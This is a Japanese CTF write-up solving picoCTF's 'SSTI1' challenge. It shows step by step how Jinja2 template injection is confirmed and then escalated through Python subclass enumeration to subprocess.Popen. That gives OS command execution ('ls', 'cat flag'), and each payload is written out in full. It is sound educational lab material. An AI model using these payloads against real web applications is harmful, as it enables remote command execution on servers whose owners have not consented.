問題概要
picoCTFの「SSTI1」という問題の解説記事です。
- カテゴリ: Web Exploitation
- 難易度: Easy
問題文
解説
この問題では、与えられたウェブアプリケーションに対して攻撃を行い、隠されたフラグを見つけることが求められます。
ステップ1: 状況把握・アプリケーションの調査
templatingとSSTI(Server-Side Template Injection)です。提供されたURLにアクセスし、アプリケーションの挙動を確認します。
フォームに入力を行い、送信ボタンを押すと、入力内容がそのまま表示されることがわかります。
ステップ2: SSTIの確認
次に、SSTIが存在するかどうかを確認します。 一般的なSSTIペイロードを試してみます。例えば、Jinja2テンプレートエンジンの場合、以下のようなペイロードを使用します。
{{7*7}}
フォームにこのペイロードを入力し、送信します。
結果を確認すると、49と表示されました。これはSSTIが存在することを示しています。
ステップ3: フラグの取得
SSTIが存在することが確認できたため、次はこの脆弱性を利用してフラグを取得することを目指します。
SSTIでは、テンプレートエンジンを通じて サーバー側のオブジェクトや関数にアクセスできる可能性があります。 特に、Jinja2を使用している場合、Pythonの内部オブジェクトに到達できることが多く、 最終的にはOSコマンドの実行につながります。
ステップ3-1: Pythonオブジェクトへのアクセス確認
まずは、テンプレート内からPythonの内部オブジェクトにアクセスできるか確認します。 以下のペイロードを試してみます。
{{''.__class__}}
<class 'str'>と表示されました。これは、Pythonの文字列クラスにアクセスできていることを示しています。
ステップ3-2: Python内部クラスの列挙
次に、Pythonのクラス継承関係を利用して、サーバー上でロードされている内部クラスの一覧を取得します。 以下のペイロードを試してみます。
{{''.__class__.__mro__[1].__subclasses__()}}
このペイロードは、
''.__class__で文字列クラスを取得.__mro__[1]でその親クラス(objectクラス)を取得.__subclasses__()でそのクラスのサブクラスの一覧を取得 という動作を行います。
出力結果が非常に多く、かつ内容が長いため、スクリーンショットではなく以下のテキストで省略して結果を示します。
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>,(...省略...)
ステップ3-3: OSコマンド実行クラスの特定
subprocess.PopenクラスがOSコマンドの実行に使用されます。
上記のクラス一覧からsubprocess.Popenに対応するインデックスを特定します。{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{ loop.index0 }} : {{ c }}
{% endif %}
{% endfor %}
Popenクラスのインデックスを特定するためのペイロードです。loop.index0は0から始まるインデックスを示します。c.__name__はクラス名を示します。
subprocess.Popenクラスがインデックス356にあることがわかりました。※インデックス番号は実行環境によって異なる場合があります。
ステップ3-4: OSコマンドの実行確認
subprocess.Popenのインデックスが特定できたため、次にOSコマンドを実行できるか確認します。
以下のペイロードを試してみます。※356は
subprocess.Popenのインデックスです。環境によって異なる場合があるので必要に応じて変更してください。{{ ''.__class__.__mro__[1].__subclasses__()[356]('ls', shell=True, stdout=-1).communicate() }}
このペイロードでは
__subclasses__()[356]でsubprocess.Popenクラスを取得lsを実行コマンドとして指定stdout=-1で標準出力を取得communicate()で実行結果を受け取る という処理を行っています。
※スクリーンショットではなく、以下のテキストで結果を示します。
(b'__pycache__\napp.py\nflag\nrequirements.txt\n', None)
flagというファイルが含まれていることがわかります。これがフラグファイルです。ステップ3-5: フラグの取得
最後に、フラグファイルの内容を取得します。以下のペイロードを試してみます。
{{ ''.__class__.__mro__[1].__subclasses__()[356]('cat flag', shell=True, stdout=-1).communicate() }}
cat flagコマンドを実行してフラグの内容を取得します。ペイロードを送信し、結果を確認します。 ※スクリーンショットではなく、以下のテキストで結果を示します
(b'picoCTF{XXXXXX}\n', None)
フラグを取得できました。 ※フラグはマスクしています。
使用したコマンドの簡単な解説
{{7*7}}
{{7*7}}
Jinja2テンプレートエンジンにおける式評価の例です。7に7を掛けた結果を表示します。
{{''.__class__}}
{{''.__class__}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()}}
Pythonのクラス継承関係を利用して、サーバー上でロードされている内部クラスの一覧を取得します。 このペイロードは、空文字列を起点として object クラスに到達し、 サーバー上で利用されているすべてのPythonクラスを列挙するものです。 SSTI攻撃では、この一覧からOSコマンド実行などに利用できるクラスを探します。
{{ ''.__class__.__mro__[1].__subclasses__()[356]('ls', shell=True, stdout=-1).communicate() }}
{{ ''.__class__.__mro__[1].__subclasses__()[356]('ls', shell=True, stdout=-1).communicate() }}
Pythonの subprocess.Popen クラスを利用して、OSコマンドを実行するペイロードです。 このペイロードでは、356番目のサブクラスとして特定された Popen クラスを使用して 'ls' コマンドを実行し、標準出力を取得します。
{{ ''.__class__.__mro__[1].__subclasses__()[356]('cat flag', shell=True, stdout=-1).communicate() }}
{{ ''.__class__.__mro__[1].__subclasses__()[356]('cat flag', shell=True, stdout=-1).communicate() }}
Pythonの subprocess.Popen クラスを利用して、フラグファイルの内容を取得するペイロードです。 このペイロードでは、356番目のサブクラスとして特定された Popen クラスを使用して 'cat flag' コマンドを実行し、フラグの内容を取得します。
まとめ
▼ポイントは以下の通りです。
- SSTI脆弱性の確認には、テンプレートエンジン固有のペイロードを試す。
- Pythonオブジェクトへのアクセスには、確実に存在するオブジェクトを起点とする。
- クラス継承関係を利用して、サーバー上でロードされている内部クラスを列挙する。
- OSコマンド実行には、subprocess.Popenクラスを利用する。
体系的に学びたい人へ(おすすめ書籍)
SSTIのようなWeb脆弱性は、CTFで「手を動かして理解」すると一気に腹落ちしますが、 一方で「なぜ脆弱性が生まれるのか」「どう設計・実装すれば防げるのか」を体系的に押さえると再現性が上がります。
気になる方は、以下の本が分かりやすかったです。
▼体系的に学ぶWebアプリケーションの作り方 第2版 脆弱性が生まれる原理と対策の実践
閲覧ありがとうございました!